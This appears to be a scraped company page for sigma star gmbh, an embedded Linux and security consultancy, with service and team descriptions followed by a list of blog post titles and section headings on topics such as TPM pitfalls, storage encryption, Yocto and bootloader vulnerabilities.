The whole Linux ecosystem, such as any kind of kernel development, design and implementation of embedded systems or user interfaces.
Trainings: Our services do not end after consulting and development, for all covered topics sigma star gmbh also provides trainings. Either in combination with handover of the final product to the internal development team or individually to expand the skill set of our customer’s team. In general we have a strong knowledge sharing attitude and don’t provide black box solutions.

Our customers

Our customers build mission critical systems in the area of automotive, cryptography, industrial, embedded and access control systems with a strong focus on security and privacy. Since we and our customers value integrity and confidentiality, we don’t publish a reference list. Examples however are companies that

build Linux-based products
have a need for IT security consulting

Among them are small companies with special needs as well as big stock companies with their own development departments around the globe.

Core Team

Sigma star gmbh has various partners and friends on which we can fall back to tackle bigger projects. Our core team currently consists of five all-rounders.

Richard Weinberger

Richard is actively involved in the Linux kernel development and maintainer of several Linux Subsystems. He is our secret weapon to hunt any kind of system level bug and issue. His extensive experience with tackling bugs also gave him a keen eye for security-specific software and compiler bugs.

David Gstir

David is the security professional of the team. He has a background in IT-security and cryptography where he researched attacks on the AES algorithm as well as security and privacy aspects of smart meters. Combined with his experience in Linux and software engineering, he is in hot pursuit of all those security issues in our customer’s source code. Aside from that he is also not afraid to build larger code bases from scratch, even if they are intended to run on non-Linux systems too.

Thomas Dierl

Thomas has 20+ years of experience in software development and software architecture. Therefore, his main topics are software development and architecture with security and durability in mind. When he is not busy with founding companies or consulting startups, he brings our customer’s ideas to paper, codes and watches over the daily organisational matters.

David Oberhollenzer

David is our brave and brilliant warrior who is not afraid to tackle new and complicated projects. This leads him to creating and maintaining multiple new open source projects spanning from low-level embedded systems to user interfaces.

Aaron Marcher

Aaron is the youngest, but no less inquisitive team member. He eagerly approaches every new project with a sharp eye for the important parts and the end goal. During his 4+ years of experience at sigma star he already combatted linux bugs, worked on linux kernel, embedded systems projects and engineered cloud-based software solutions.

We would be pleased to get to know you and tailor a specific solution for your problem.

sigma star gmbh Blog

Integrity on Embedded Linux Devices under the Cyber Resilience Act

Integrity on Embedded Linux Devices under the Cyber Resilience Act

Scope of the CRA Integrity Requirement

Assets in Scope

Required Protection

Integrity Controls for Embedded Linux

Conclusion

TrustZone Intermezzo: Broken OP-TEE Memory Isolation on i.MX 8M

TrustZone Intermezzo: Broken OP-TEE Memory Isolation on i.MX 8M

Confirming the Bug

It’s Not Over Yet: The Mysterious region0 and Memory Aliases

Trying harder

Am I affected?

Conclusion

You probably don't need Yocto, and that's fine

You probably don’t need Yocto, and that’s fine

What is Yocto, actually?

Your distribution means your responsibility

The elephant in the room: the Linux kernel

The hidden cost of a custom distribution

An alternative: reuse an established distribution

Debian maintenance

How does an embedded image actually get built?

Example: debos

Yocto or not Yocto? How to decide

Conclusion

Data Confidentiality via Storage Encryption on Embedded Linux Devices

Data Confidentiality via Storage Encryption on Embedded Linux Devices

Side Note: What Data at Rest means

Block-level encryption with dm-crypt

Filesystem-level encryption with fscrypt (or eCryptfs)

Key Takeaways

TPM on Embedded Systems: Pitfalls and Caveats

TPM on Embedded Systems: Pitfalls and Caveats to Watch Out For

Brief Overview: Trusted Platform Module (TPM)

Using TPM on Embedded Device

TPM Pitfalls on Embedded Devices

Bus Snooping Attacks

TPM Reset Attacks by Active Interposer

Direct Physical Attacks on TPM Chip

Integrity Protection and Code Execution Flaws

Hardware Flaws

Software-based TPM Issues

Cold Boot Attacks

Performance

TPM Firmware Updates

Summary

Fixing a Buffer Overflow in UNIX v4 Like It's 1973

Fixing a Buffer Overflow in UNIX v4 Like It’s 1973

Introduction

The UNIX v4 su(1) program

Fixing su(1)

Building and Deploying

Summary

The Evolving Landscape of Yocto Project Setup: bitbake-setup vs. KAS

The Evolving Landscape of Yocto Project Setup: bitbake-setup vs. KAS

KAS: Origins and a Brief Overview

bitbake-setup: The Yocto Project’s Official Solution

Comparing bitbake-setup and KAS

Summary

Deep Down the Rabbit Hole: Bash, OverlayFS, and a 30-Year-Old Surprise

Deep Down the Rabbit Hole: Bash, OverlayFS, and a 30-Year-Old Surprise

Initial Bug Report

Ruling Out the Kernel

Bash’s home made getcwd()

Cross-Compilation Confusion

Root Cause Analysis

OverlayFS and Inode Numbers

The Role of the xino Feature

Incorrect Use of readdir() in Bash

Conclusion

Filesystem Vulnerabilities in Bootloaders: A Hidden Risk for Verified Boot Mechanisms

Filesystem Vulnerabilities in Bootloaders: A Hidden Risk for Verified Boot Mechanisms

Introduction

Critical Code Paths

Filesystem Vulnerabilities in Bootloaders: A Hidden Risk

Filesystems as a Threat Vector

Impact of These Vulnerabilities

The Situation on Linux

Bash’s home made `getcwd()`

Incorrect Use of `readdir()` in Bash

Integrating `CROSS_COMPILE_COMPAT` Support into Yocto